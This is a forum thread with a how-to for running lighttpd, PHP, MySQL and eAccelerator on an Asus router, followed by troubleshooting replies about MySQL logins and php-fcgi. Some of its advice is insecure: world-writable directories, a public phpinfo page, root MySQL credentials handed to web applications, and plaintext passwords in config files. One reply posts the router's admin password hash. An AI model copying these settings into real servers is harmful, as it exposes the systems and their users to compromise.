PDA

Bekijk de volledige versie : How-to Lighttpd, PHP, MySQL and Eaccelerator



wpte
06-07-2009, 04:22
this how-to can be found on my website also: http://wpte.kicks-ass.net/forum/viewthread.php?thread_id=14

Change-log


11-07-09 Added clean-up for lighttpd so it always start after a reboot.
11-07-09 Activated PEAR in php.ini
31-07-09 Fixed mysql starting under non-root user
21-09-09 Fixed possible insecurity for the www folder
21-09-09 Added fix for TraceWatch web counter ip2country database update
20-11-09 Added update for possible lighttpd version 1.4.24-1 problems
12-03-10 Updated a lot of messy unclear stuff
12-03-10 Updated eaccelerator howto because of a new stable version
12-03-10 Added ipkg eaccelerator howto for the ones that don't like building after a php update
12-03-10 Include the ipkg update and upgrade parts so users won't download old software
10-09-10 Massive cleanup and bug fixing because of ipkg package fixes:
MySQL starting, php-fcgi, eaccelerator

Introduction
First of all, you might wonder what all these packages are...
lighttpd: quite a famous web-server used by a few well known sites like youtube (yes youtube), mininova and thepiratebay! (see the whole list: http://redmine.lighttpd.net/wiki/lighttpd/PoweredByLighttpd)

php: probably the most used web-based scripting language

MySQL: Free database software, also widely used in combination with php and CMS packages.

Eaccelerator: a free open-source PHP accelerator, optimizer, and dynamic content cache.

So there are some how-to's out there already about these packages, but they are not really that complete, or contain some old unfixed things.


What do you need?
1. A valid wengi-like ipkg installation
2. Build enviroment if you want to build eaccelerator (no worries, this will be explained newbie proof)
3. A few ipkg packages
4. Eaccelerator source code if you want to build eaccelerator
5. knowledge of basic linux stuff
6. about 300mb free optware space
7. enough swap space (About 15mb swap free)




Installation: Lighttpd
Well, lets start of easy by typing:

ipkg update
ipkg upgrade
ipkg install lighttpd
this will install the basic lighttpd package.

When done enter:

vi /opt/etc/lighttpd/lighttpd.conf
now edit the following lines:
(note: uncomment means remove the # in the beginning of the line)

line 40: change
server.document-root = "/tmp/harddisk/www"
(presuming you have the same mount point as in wengi's)
This is for fixing the excluded e-poll:

line 51: change

# server.event-handler = "freebsd-kqueue" # needed on OS X

into

server.event-handler = "poll" # needed on OS X

line 139: change
server.port = 8081
into:
server.port = 80
(changing the webinterface port will be explained later)
and save it!

now create the folder where your web pages will be saved (remember this)

mkdir /tmp/harddisk/www
chmod 744 /tmp/harddisk/www

By installing php-fcgi, the fast-cgi server will be enabled automatically, so there is no need of manually uncommenting the settings anymore.

Because we want to host our web pages on the standard port of 80, we need to change the port of the web interface, since this is also hosted on port 80.
When someone thinks he can change it by doing portforwarding or virtual server... yeah, you can but you most likely get problems with cookies (and that isn't nice).

changing the port:

nvram set http_lanport=8080
nvram commit
after a reboot you will need to access the web interface by this url:
http://your-asus-router-ip:8080






Installation: php with some extensions
To be sure you are as covered as you can on this router, you can just add all the php packages available:

ipkg install php php-curl php-dev php-fcgi php-gd php-imap php-ldap php-mbstring php-mysql php-pear php-xmlrpc

activate pear:

vi /opt/etc/php.ini

Line 426:
change the lines into this:

; UNIX: "/path1:/path2"
include_path = ".:/opt/lib/php/extentions:/opt/share/pear"
Save the file

as you will notice it will also install mysql, since we don't have to do anything for php yet lets move on to mysql!







Installation: MySQL
now we have mysql installed and started we have to set a password.
use this command:

/opt/bin/mysqladmin -u root password 'secretpassword'
note: leave the '' in the command, otherwise mysql won't understand!

edit the my.cfg again to add the password for automatic login when you're in shell.

vi /opt/etc/my.cnf

line 20: uncomment and type your password
password = yourpassword

ofcourse change "yourpassword" into something you want to use as password!

end result:
[client]
password = secret
port = 3306
socket = /tmp/mysql.sock

save it!

now type:

mysql
and you will enter the mysql console, which is important to control your mysql server!

a few handy commands:

Create a database = create database mydatabase;
Remove a database = drop database mydatabase;
select a database to use = use mydatabase;
import sql queries = source /some/sql/file.sql;
exit the prompt = exit;
for more commands please read the mysql manual.





Installation: Eaccelerator
In this how-to you can choose which eaccelerator you want.
The ipkg version is for people who don't want to worry about manually updating the php extension.
for now the build-your-own eaccelerator is more up to date.
(just pick the installation you prefer)

Installation: IPKG Eaccelerator
The worry-less installation:)

ipkg install eaccelerator

follow the final steps in "FINAL STEPS":)



Installation: OWN-BUILD Eaccelerator
for the die-hards (still it's simple to follow)
Don't forget to update eaccelerator when php receives an update;)

first of all we need the build environment, which takes a while to download:

ipkg install wget optware-devel buildroot
you'll probably receive an error like:

Collected errors:
ERROR: The following packages conflict with wget-ssl:
wget
don't worry, wget-ssl is reported as not working here, and wget is working just as well:)

while you are downloading everything, lets get the sources:
http://bart.eaccelerator.net/source/0.9.6/eaccelerator-0.9.6.tar.bz2
(at this moment this is the latest version, you may download a newer version if available)
Just save the file to your pc, unpack it somewhere and place it on your router via samba share or ftp. Lets say you place the folder into /tmp/harddisk/eaccelerator-0.9.6

after the ipkg package installation is done, you can continue:
Before we start building, we need to install some libraries required by eaccelerator:

ipkg install re2c grep

now lets get to the real building stuff:

cd /tmp/harddisk/eaccelerator-0.9.6
export PHP_PREFIX="/opt"
$PHP_PREFIX/bin/phpize
./configure --prefix=/opt --enable-eaccelerator=shared --with-eaccelerator-disassembler --with-eaccelerator-userid
make
make install
please execute these command 1 at a time, to make sure everything goes well!
you shouldn't get any errors... (don't pay too mutch attention to the configure command, unless it tells you there is an error in the end)
note that make test is not possible and not required.

after you executed make install, the files are in place, ready to be used.

Now we only need to create a php configuration file.

vi /opt/etc/php.d/eaccelerator.ini
and copy paste this into the file

;;EACCELERATOR
;;the settings for eaccelerator
extension=eaccelerator.so
eaccelerator.shm_size="16"
eaccelerator.cache_dir="/opt/tmp/eaccelerator"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.debug="0"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="1"
eaccelerator.compress_level="3"

save the file and execute the final commands to create the cache dir:

mkdir -p /opt/tmp/eaccelerator
chmod 777 /opt/tmp/eaccelerator



FINAL STEPS
lets create a file to test everything after the reboot:

vi /tmp/harddisk/www/index.php
and enter the code:

<?php
phpinfo();
?>
save it,

chmod 766 /tmp/harddisk/www/index.php

and done you are, just a final reboot to restart everything properly:

reboot

after the reboot you can visit http://your-asus-router/
and you should get a page with information about the php installation... something you shouldn't get is a http 500 error.
if you get this error here, please look over the how-to again, because you might have missed something.
It is however possible that not all web packages work in this set-up, which is unfortunate, but there is no other option than find an alternative web package.

wpte
06-07-2009, 12:43
ANY problems/issues you found in this how-to, please report it so I can fix it:)
and yes, this is the way I got it working, but maybe there are some problems here and there :p







Using the mysql server
When installing a web package like a cms, you probably need to fill in mysql information.
these are the settings:

server: localhost
port: 3306
username: root
password: (the password filled in the configuration file)
database: (you need to use the created database name by the commands found in the handy commands list)


Some web-packages
Here are some packages that work well in this setup:
http://www.tracewatch.com/ an advanced pagecounter (without ads). You might need to increase the execution time in php.ini due to large mysql dumping (about 4mb of sql)

http://php-fusion.co.uk/ A CMS which is lightweight but has lots of functions. something I'm using now.

http://cutephp.com/ Well... more lightweight than this is not possible, easy to use CMS, but you might need to find some good templates or create them yourself.

http://www.rivetcode.com/software/rivettracker/ A real torrent tracker that allows you to put your own torrents on. Easy to use and easy to install.

http://e107.org/ a nice cms with lots of possebilities. But do mind that it can give you some longer page-generation times.

TraceWatch
There is a bug in this pagecounter, fortunately it's easy to fix!
Whenever you try to update to a newer ip2country database (http://ip-to-country.webhosting.info/downloads/ip-to-country.csv.zip)
you will find errors while dumping them into the mysql database...
What you need to do is open the csv file in a text editor (like notepad, notepad++ etc) and replace the "" by " " (space between the quotation marks).
now save it and try to load it up, it should work.

Tamadite
09-07-2009, 00:01
1) How much does Eaccelerator improve your web server? Any benchmark? What is the clock frequency of your router?
2) How much RAM does this setup (Lighttpd, PHP, MySQL and Eaccelerator) requires? Can you please run and publish "ps axv" and "free"?

wpte
09-07-2009, 11:59
1) How much does Eaccelerator improve your web server? Any benchmark? What is the clock frequency of your router?
2) How much RAM does this setup (Lighttpd, PHP, MySQL and Eaccelerator) requires? Can you please run and publish "ps axv" and "free"?

Ah, we are talking performance here:p
Well... it improves the overall generation time, and cold-start generation time. Normally a page on my site would be generated in 1 sec, now I usually see this is below 1 sec.
The fastest time I ever had with generation is 0.63 sec without eaccelerator, but with I've seen up to 0.48 sec.
I'm running at 300MHz.

free space, this is with other things running tho.

total used free shared buffers cached
Mem: 30176 29356 820 0 2064 9348
-/+ buffers/cache: 17944 12232
Swap: 522072 26084 495988


ps avfx:


PID TTY STAT TIME MAJFL TRS DRS RSS %MEM COMMAND
336 ? S 0:00 103 717 1390 4 0.0 /bin/sh /opt/bin/mysqld_safe --datadir=/opt/var/lib/mysql --pid-file
369 ? S 0:00 1011 3107 4596 420 1.3 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql
370 ? S 0:00 26 3107 4596 420 1.3 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/my
371 ? S 0:00 24 3107 4596 420 1.3 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/li
378 ? S 0:00 2102 194 4085 652 2.1 /opt/sbin/lighttpd -f /opt/etc/lighttpd/lighttpd.conf
384 ? Ss 0:00 1160 3285 35858 4 0.0 \_ /opt/bin/php-fcgi
426 ? S 0:00 4 3285 35886 4 0.0 | \_ /opt/bin/php-fcgi
385 ? Ss 0:01 1164 3285 35858 4 0.0 \_ /opt/bin/php-fcgi
427 ? S 0:00 4 3285 35886 4 0.0 | \_ /opt/bin/php-fcgi
386 ? Ss 0:00 1165 3285 35858 4 0.0 \_ /opt/bin/php-fcgi
428 ? S 0:01 1221 3285 36434 4 0.0 | \_ /opt/bin/php-fcgi
387 ? Ss 0:01 1171 3285 35858 4 0.0 \_ /opt/bin/php-fcgi
429 ? S 0:14 7740 3285 36746 3868 12.8 \_ /opt/bin/php-fcgi

I chose for the fast-cgi without creating a socket first because you'll never have the problem any more that the socket is unavailable!
together it's using about 11MB ram/swap
so what do you think?:p

cichy
28-07-2009, 13:01
Hello
Gr8 tutorial but i'm getting errors while trying to connect to mysql


/opt/bin/mysqladmin -u admin password '********'
/opt/bin/mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'admin'@'localhost' (using password: YES)'
[admin@router root]$ mysql
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
[admin@router init.d]$ /opt/bin/mysqladmin -u root -p '********'
Enter password:
/opt/bin/mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'root'@'localhost' (using password: YES)'

and my config of my.cnf


# The following options will be passed to all MySQL clients
[client]
password = ********
port = 3306
socket = /tmp/mysql.sock


# The MySQL server
[mysqld]
user = admin
datadir = /opt/var/lib/mysql
port = 3306
socket = /tmp/mysql.sock

[mysql.server]
user=root

As you can see i was trying to connect to mysql wit admin and root username and it didn't help. What could be wrong?

wpte
28-07-2009, 20:04
Oh, seems I've made a mistake:p

try to change

[mysql.server]
user=root

into:

[mysql.server]
user=admin

does that work?:)

otherwise you might try these commands as well to rebuild the database:

rm -R /opt/var/lib/mysql/mysql
mkdir /opt/var/lib/mysql/mysql
/opt/bin/mysql_install_db

cichy
28-07-2009, 20:18
Hello,
I've already tried to change
[mysql.server]
user=root into admin but this didn't helped :(

Also when i'm trying to execute
ipkg install optware-devel buildroot at the end of downloading i get an error about wget (it can't be used to download package to ipkg temp folder)

I'll try to install the database once again after i'm thru with recoverying my files from hdd after moving opt partition (was to small when i wanted to install optware-devel buildroot, alhough it had 512MB).

wpte
28-07-2009, 20:27
uhm... have you restarted the mysql server after the config change?

and when installing the build packages...
if you install wget-ssl manually like this:

ipkg install wget-ssl
and then install the build enviroment


I'm sorry to see that the mysql server is a bit of a trouble. I couldn't have tested it out myself on the router. I did test it on ubuntu which seemed to work out right:(

cichy
28-07-2009, 20:55
Hmm i've restarted whole router just to make sure :) If i recall You didn't mentioned about manual installation of wget-ssl. Also there's new version of eaccelerator (http://bart.eaccelerator.net/source/0.9.6/eaccelerator-0.9.6-rc1.tar.bz2) will it work with all other components (i've checked folder structure and they're different in 0.9.5.3 & 0.9.6):>

wpte
28-07-2009, 22:48
Hmm i've restarted whole router just to make sure :) If i recall You didn't mentioned about manual installation of wget-ssl. Also there's new version of eaccelerator (http://bart.eaccelerator.net/source/0.9.6/eaccelerator-0.9.6-rc1.tar.bz2) will it work with all other components (i've checked folder structure and they're different in 0.9.5.3 & 0.9.6):>

It'll probably work;)

btw, can you confirm the mysql server works now? then I'll know what parts I need to update in the how-to

No, I indeed dindn't mentioned manual installation of wget-ssl.
The problem is, that usually wget is installed, and it doesnt work together with wget-ssl.
wget-ssl is inculed in the building eviroment tho;)

DrChair
29-07-2009, 01:54
Hello
Gr8 tutorial but i'm getting errors while trying to connect to mysql


/opt/bin/mysqladmin -u admin password '********'
/opt/bin/mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'admin'@'localhost' (using password: YES)'



I also had that problem after following this tutorial.

I solved it by commenting-out the password line in my.cnf (like it was by default).

wpte
29-07-2009, 08:55
so Dr. Chair... nothing wrong with the users then?:p

Oh yes, I see I need to fix a few things there:o

cichy
29-07-2009, 17:17
I've rebuilt whole mysql database, changed name from admin to root and vice versa and it didn't helped, I can't get to mysqladmin.

Enter password:
/opt/bin/mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'root'@'localhost' (using password: YES)'
Dunno what to do now, removing ' didn't help, any sugestions?

P.S. I've installed whole system from a scratch, wget, transmission, ftp are working fine but i ca't get lighttpd to work. Sure I installed it, index.htm* files are working without problem but i can't get fast-cgi to work. Htop shows this

152 ? Ss 0:00 1 146 1365 340 1.1 /usr/sbin/vsftpd
154 ? Ss 0:00 36 119 2572 924 3.0 /usr/sbin/nmbd -D
156 ? Ss 0:00 9 343 2588 852 2.8 /usr/sbin/smbd -D
170 ? S 0:00 103 717 1390 456 1.5 /bin/sh /opt/bin/mysqld_safe --datadir=/opt/var/lib/mysql --pid-file=/opt/var/lib/mysql/router.pid
203 ? S 0:00 599 3107 4236 2576 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=admin --pid-file=/opt/var/lib/mysql/router.pi
206 ? S 0:00 0 3107 4236 2576 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=admin --pid-file=/opt/var/lib/mysql/route
207 ? S 0:00 2 3107 4236 2576 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=admin --pid-file=/opt/var/lib/mysql/r
225 ? S 0:00 22 578 4633 2792 9.2 /opt/bin/transmission-daemon -g /tmp/harddisk/transmission/config
226 ? S 0:00 0 578 4633 2792 9.2 \_ /opt/bin/transmission-daemon -g /tmp/harddisk/transmission/config
227 ? S 0:24 241 578 4633 2792 9.2 \_ /opt/bin/transmission-daemon -g /tmp/harddisk/transmission/config
383 ? S 0:00 42 194 3853 1416 4.6 /opt/sbin/lighttpd -f /opt/etc/lighttpd/lighttpd.conf
384 ? Z 0:00 1078 0 0 0 0.0 \_ [php-fcgi] <defunct>
385 ? Z 0:00 1078 0 0 0 0.0 \_ [php-fcgi] <defunct>
386 ? Z 0:00 1078 0 0 0 0.0 \_ [php-fcgi] <defunct>
388 ? Z 0:00 1078 0 0 0 0.0 \_ [php-fcgi] <defunct>

I'm attaching my installed packages, maybe something is missing? Also after reinstallation i can't compile latest eaccelerator (it worked earlier).

wpte
30-07-2009, 12:43
well lets focus on the mysql server first:
the idea is:

change the usernames in my.cfg and remove the password line, save it
stop the server
Rebuild the database
start the server
do the password setting: /opt/bin/mysqladmin -u admin password '********'
add the password line in my.cfg
try getting in by: mysql

cichy
30-07-2009, 21:13
Ok, concerning mysql server i've managed to login to root account and later on into admin account. After restart mysql is working fine and you can both login as admin and as as a root. Next restart brought disappointment i couldn't login to mysql either by root nor admin account (s!c).

wpte
31-07-2009, 00:17
Ok, concerning mysql server i've managed to login to root account and later on into admin account. After restart mysql is working fine and you can both login as admin and as as a root. Next restart brought disappointment i couldn't login to mysql either by root nor admin account (s!c).

I had that one before...:(
I hope you don't installed any databases yet, cos a database rebuild is most likely to fix it;)

btw, it seems like your php is not running smoothly?
my output is this:

364 ? S 0:21 /opt/sbin/lighttpd -f /opt/etc/lighttpd/lighttpd.conf
369 ? Ss 0:00 \_ /opt/bin/php-fcgi
413 ? S 0:00 | \_ /opt/bin/php-fcgi
371 ? Ss 0:00 \_ /opt/bin/php-fcgi
414 ? S 0:00 | \_ /opt/bin/php-fcgi
372 ? Ss 0:01 \_ /opt/bin/php-fcgi
412 ? S 0:03 | \_ /opt/bin/php-fcgi
373 ? Ss 0:01 \_ /opt/bin/php-fcgi
415 ? S 3:19 \_ /opt/bin/php-fcgi

cichy
31-07-2009, 01:15
No i didn't it's a dry-run, just to see if it works. I've noticed this but i don't know where's the problem, maybe something is wrong with packages (too much/few). I've onece again started from a scratch and it's not working (i mean fcgi with php and eaccelerator). Maybe a little advise what to install from repo?

wpte
31-07-2009, 01:23
No i didn't it's a dry-run, just to see if it works. I've noticed this but i don't know where's the problem, maybe something is wrong with packages (too much/few). I've onece again started from a scratch and it's not working (i mean fcgi with php and eaccelerator). Maybe a little advise what to install from repo?

I actually use the newest versions available, I update every day:cool:

I feel bad its not working out that well, since I use the exact configuration as I worked out here (I made it while installing and testing everything). The only thing I didn't test on the router was mysql in a different user than root.
For mysql, the easiest fix is most likely to change the system user to root, or use adduser to add a root user to the system:confused:
I'm going to try some things out for mysql tomorrow anyway:)

cichy
31-07-2009, 02:13
After a long battle i've finally made it thru, eaccelerator (latest one) works like a charm also other components. Only thing that left is to get thru with mysql. I'll digged out some info about configuration and maybe i'll manage :) Either way this 'how-to' works without probs just need to watch what's going on and try to understand it :)

wpte
31-07-2009, 21:26
After a long battle i've finally made it thru, eaccelerator (latest one) works like a charm also other components. Only thing that left is to get thru with mysql. I'll digged out some info about configuration and maybe i'll manage :) Either way this 'how-to' works without probs just need to watch what's going on and try to understand it :)

Good stuff:D
now, once again I made mysql work on ubuntu with changing users, and without rebuilding...
The users could only be switched when the user had enough privileges:D

Now I guess "admin" doesn't have enough privileges for some reason.
one idea is to do this command:

chown -R admin:admin /opt/var/lib/mysql
allowing mysql to start under admin username.. most likely:p

the other idea is to create a non-loginable user called "root" which can be used for mysql.
just install adduser:

ipkg install adduser
create the root user

adduser root
edit root to be non-loginable:

vi /tmp/etc/passwd

Change the root line in something like this:

root:[do not change! password data!]:0:0:root:/:/sbin/nologin
This last trick actually worked for me when creating an "admin" user since I run everything under root.


Also, I found out that

[mysql.server]
user=admin
doesn't help when trying to get mysql started:)

cichy
31-07-2009, 21:37
Hmm when i've did
chown -R admin:admin /opt/var/lib/mysql it gave me error that admin isn't a part of admin group so i did
chown -R admin:root /opt/var/lib/mysql and it came without an error (will it work:)
Later on i've tried to login using
/opt/bin/mysqladmin -u admin password '********' and it gave me this error

/opt/bin/mysqladmin: Can't turn off logging; error: 'Access denied; you need the SUPER privilege for this operation'
so what now :)

wpte
31-07-2009, 21:41
Hmm when i've did
chown -R admin:admin /opt/var/lib/mysql it gave me error that admin isn't a part of admin group so i did
chown -R admin:root /opt/var/lib/mysql and it came without an error (will it work:)
Later on i've tried to login using
/opt/bin/mysqladmin -u admin password '********' and it gave me this error

/opt/bin/mysqladmin: Can't turn off logging; error: 'Access denied; you need the SUPER privilege for this operation'
so what now :)

Can you give me an output of:

cat /tmp/etc/passwd
maybe the admin user isn't a REAL admin:p

cichy
31-07-2009, 21:45
Here u go

admin:$1$$iqVIP5rhCc3jLzr8y0h.P/:0:0:root:/usr/local/root:/bin/sh
nobody:x:99:99:nobody:/:/sbin/nologin

wpte
31-07-2009, 21:48
Here u go

admin:$1$$iqVIP5rhCc3jLzr8y0h.P/:0:0:root:/usr/local/root:/bin/sh
nobody:x:99:99:nobody:/:/sbin/nologin


ok... should be good.
but what if you change everything on that line to admin?
since I have the line:

admin:####:0:0:admin:/:/sbin/nologin
and... mysql starts under that:p

cichy
31-07-2009, 21:52
Hmm i'm now getting this
221 ? S 0:00 46 194 3921 88 0.2 /opt/sbin/lighttpd -f /opt/etc/lighttpd/lighttpd.conf
222 ? Ss 0:00 1099 3285 34410 4 0.0 \_ /opt/bin/php-fcgi
236 ? S 0:00 1 3285 34438 4 0.0 | \_ /opt/bin/php-fcgi
224 ? Ss 0:00 1099 3285 34410 4 0.0 \_ /opt/bin/php-fcgi
239 ? S 0:00 239 3285 34446 1264 4.1 | \_ /opt/bin/php-fcgi
225 ? Ss 0:00 1099 3285 34410 4 0.0 \_ /opt/bin/php-fcgi
238 ? S 0:00 262 3285 34446 128 0.4 | \_ /opt/bin/php-fcgi
226 ? Ss 0:00 1099 3285 34410 12 0.0 \_ /opt/bin/php-fcgi
237 ? S 0:00 312 3285 34458 116 0.3 \_ /opt/bin/php-fcgi
232 ? S 0:00 25 578 6957 4400 14.5 /opt/bin/transmission-daemon -g /tmp/harddisk/transmission/config
233 ? S 0:00 1 578 6957 4400 14.5 \_ /opt/bin/transmission-daemon -g /tmp/harddisk/transmission/config
234 ? S 28:11 350 578 6957 4400 14.5 \_ /opt/bin/transmission-daemon -g /tmp/harddisk/transmission/config
490 pts/0 S 0:00 103 717 1390 456 1.5 /bin/sh /opt/bin/mysqld_safe --datadir=/opt/var/lib/mysql --pid-file=/opt/var/lib/mysql/router.pid
523 pts/0 S 0:00 598 3107 4236 2568 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=root --pid-file=/opt/var/lib/m
526 pts/0 S 0:00 0 3107 4236 2568 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=root --pid-file=/opt/var/l
527 pts/0 S 0:00 2 3107 4236 2568 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=root --pid-file=/opt/v
668 pts/0 S 0:00 103 717 1390 456 1.5 /bin/sh /opt/bin/mysqld_safe --datadir=/opt/var/lib/mysql --pid-file=/opt/var/lib/mysql/router.pid
701 pts/0 S 0:00 598 3107 4236 2568 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=root --pid-file=/opt/var/lib/m
702 pts/0 S 0:00 0 3107 4236 2568 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=root --pid-file=/opt/var/l
703 pts/0 S 0:00 2 3107 4236 2568 8.5 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=root --pid-file=/opt/v
and i don't know is this good or what :)

wpte
31-07-2009, 22:01
seems like you're running mysql two times here:p
btw, I see you switched to root again? or what's happening:p

this is mine:

7963 ? S 0:00 /bin/sh /opt/bin/mysqld_safe --datadir=/opt/var/lib/mysql --pid-file=/opt/var/lib/mysql/wpte.kicks-ass.net.pid
7996 ? S 0:00 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=admin --pid-file=/opt/var/lib/mysql/wpte.kicks-ass.net.pid --skip-external-locking --port=3306 --socket=/tmp/mysql.sock
7997 ? S 0:00 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=admin --pid-file=/opt/var/lib/mysql/wpte.kicks-ass.net.pid --skip-external-locking --port=3306 --socket=/tmp/mysql.sock
7998 ? S 0:00 \_ /opt/libexec/mysqld --basedir=/opt --datadir=/opt/var/lib/mysql --user=admin --pid-file=/opt/var/lib/mysql/wpte.kicks-ass.net.pid --skip-external-locking --port=3306 --socket=/tmp/mysql.sock
so looks quite good I guess;)

cichy
31-07-2009, 22:07
I've been diggin out some facts about my.cnf and as i understand it's global config file, if you set password there it's inherited by all running mysql servers. Concerning 2 running processes i don't know why it's happening :( I've looked here (http://www.caucuscare.com/tech_mysql.shtml), here (http://dev.mysql.com/doc/refman/4.1/en/installing-binary.html) and here (http://www.yaldex.com/mysql_tutorial_2/toc.html). The databes is run by non-root user (mysql) maybe this would be better way to create such user and run whole server on this account?

wpte
31-07-2009, 22:21
I've been diggin out some facts about my.cnf and as i understand it's global config file, if you set password there it's inherited by all running mysql servers. Concerning 2 running processes i don't know why it's happening :( I've looked here (http://www.caucuscare.com/tech_mysql.shtml), here (http://dev.mysql.com/doc/refman/4.1/en/installing-binary.html) and here (http://www.yaldex.com/mysql_tutorial_2/toc.html). The databes is run by non-root user (mysql) maybe this would be better way to create such user and run whole server on this account?

yes true, mysql on normal servers with linux distros like ubuntu run on the mysql account.
you can try to create a mysql user and try to get it started...
in the end, mysql should run just fine when the password is set.:)

cichy
31-07-2009, 22:26
But what could be the reason of two instances of mysql?

wpte
31-07-2009, 22:31
But what could be the reason of two instances of mysql?

Maybe when you tried to start mysql, it didn't found a process running already..
a reboot should give you 1 process tho;)

cichy
31-07-2009, 22:42
Ok it's running smoothly after restart :) (only 1 process of mysql yay). So after all it's good (in my opinion) to add this
chown -R admin:root /opt/var/lib/mysql Without it i was unable to run mysql and couldn't log in as root or admin :) Many thanks wpte for help, now i only need a tutorial how to set up icecast server :) Maybe you saw something like that?

wpte
31-07-2009, 23:55
Ok it's running smoothly after restart :) (only 1 process of mysql yay). So after all it's good (in my opinion) to add this
chown -R admin:root /opt/var/lib/mysql Without it i was unable to run mysql and couldn't log in as root or admin :) Many thanks wpte for help, now i only need a tutorial how to set up icecast server :) Maybe you saw something like that?

Yes I actually know someone who did!
it's http://wl500g.info/member.php?u=1221
he uses ICES to stream music, you probably have a good chance getting it running by asking him;)

I updated the how-to on mysql now, what do you think?:)

cichy
01-08-2009, 20:35
Great, now it's almost complete. I'm saying almost because in my.cnf I didn't changed

[mysqld]
user = root into admin and so is in here
[mysql.server]
user = root
I've just uncommented password section and that's all, it's running well. Ofcourse I didn't set up any mysql based cms but i can easily login into mysql and check if databases are being created, they are there:) So if this has any meaning you can skip section of user change in my.cnf :)

wpte
01-08-2009, 22:35
aha:p
intresting;)

wpte
23-09-2009, 14:31
note to everyone using eaccelerator: you need to rebuild it every time php updates.:)
don't forget to do a "make clean" before making the sources again, when they are still on your harddrive.

quasiperfect
03-10-2009, 17:55
thanks for the tutorial it was very helpful

now i have 2 questions can mysql 5 be installed ?
and for php i need extension mcrypt any other place to get pakages ?

regards
john

wpte
03-10-2009, 18:54
thanks for the tutorial it was very helpful

now i have 2 questions can mysql 5 be installed ?
and for php i need extension mcrypt any other place to get pakages ?

regards
john

I'm glad you found this how-to good:)

if you install mysql 5 you probably need to recompile the mysql-php package to make it compatible with the new mysql. Also you need to compile mysql 5 yourself since it's not available in the ipkg repository.
mysql 4 is sufficient for almost anything tho, I never had any limitation problems with it;)
and it's quite lightweight compared to mysql5

other extensions need to be compiled, since there is no full ipkg support on all the packages.

wpte
26-10-2009, 21:56
update for lighttpd version 1.4.24-1 has some problems with e-poll..

only follow these instructions if the server won't start:)

if you go to debug mode you'll see:

lighttpd -D -f /opt/etc/lighttpd/lighttpd.conf
fdevent_linux_sysepoll.c.131: epoll_create failed (Function not implemented), try to set server.event-handler = "poll" or "select"
fdevent.c.47: event-handler linux-sysepoll failed, try to set server.event-handler = "poll" or "select"


meaning you have to edit the config file again:

vi /opt/etc/lighttpd/lighttpd.conf

and edit:

line 51

# server.event-handler = "freebsd-kqueue" # needed on OS X

into

server.event-handler = "poll" # needed on OS X

save it, and after this lighttpd should start again:

/opt/etc/init.d/S80lighttpd start

freakazoid87
16-11-2009, 15:30
Hi,

thank you for this how to, I used it more than once, but now when i install it... (with lighttpd 1.4.24-1) the lighttpd does not want to start... i think it starts only after the installl... and after that does not work.

ive installed the newest firmware (r730) and did everything by the tutorial from wengy (http://wl500g.info/showthread.php?t=10307&page=50)

any ideas?


update for lighttpd version 1.4.24-1 has some problems with e-poll..

only follow these instructions if the server won't start:)

if you go to debug mode you'll see:


meaning you have to edit the config file again:


and edit:


save it, and after this lighttpd should start again:

wpte
16-11-2009, 18:18
what happens when you execute:

lighttpd -D -f /opt/etc/lighttpd/lighttpd.conf
can you post the output?:)

freakazoid87
16-11-2009, 22:58
When I insert

lighttpd -D -f /opt/etc/lighttpd/lighttpd.conf

there's no reply... it does nothing...

wpte
17-11-2009, 00:21
When I insert

lighttpd -D -f /opt/etc/lighttpd/lighttpd.conf

there's no reply... it does nothing...

what about

lighttpd -t -f /opt/etc/lighttpd/lighttpd.conf:confused:

freakazoid87
17-11-2009, 08:15
root]$ lighttpd -t -f /opt/etc/lighttpd/lighttpd.conf
Syntax OK
root]$

anything else?

wpte
17-11-2009, 08:50
root]$ lighttpd -t -f /opt/etc/lighttpd/lighttpd.conf
Syntax OK
root]$

anything else?

hmm... everything seems to be allright apart from it not running:p
did you create the webpages directory???
perhaps you can send me the cfg and I'll have a closer look.
to be honest, this is quite odd:confused:

freakazoid87
17-11-2009, 09:46
I know it's odd... i've used your and... (?) the other tutorial more than once...
and they worked! (not counting mysql, which i didn't need)

If you have a spare WL500-gp, you can try to install it from the start... i think it wont work.

wpte
17-11-2009, 22:28
I know it's odd... i've used your and... (?) the other tutorial more than once...
and they worked! (not counting mysql, which i didn't need)

If you have a spare WL500-gp, you can try to install it from the start... i think it wont work.

oh I might know what's going on...

you've probably executed:

For some reason lighttpd doesn't always shut-down properly during a reboot, because it leaves behind some residue this way that stops it from starting again!
We have an easy fix for this tho:
Quote:
vi /opt/etc/init.d/S80lighttpd
Code:
Add after #!/bin/sh:

rm /opt/etc/lighttpd/conf.d/*

in the new version they fixed that, in fact when you remove everything in that folder something goes wrong:p

you should remove the line in the startupscript (the rm one).
then execute these commands

touch /opt/etc/lighttpd/conf.d/01-default.conf
chmod 700 /opt/etc/lighttpd/conf.d/01-default.conf

and then try to start lighttpd

/opt/etc/init.d/S80lighttpd start
I hope that worked:)

freakazoid87
18-11-2009, 19:17
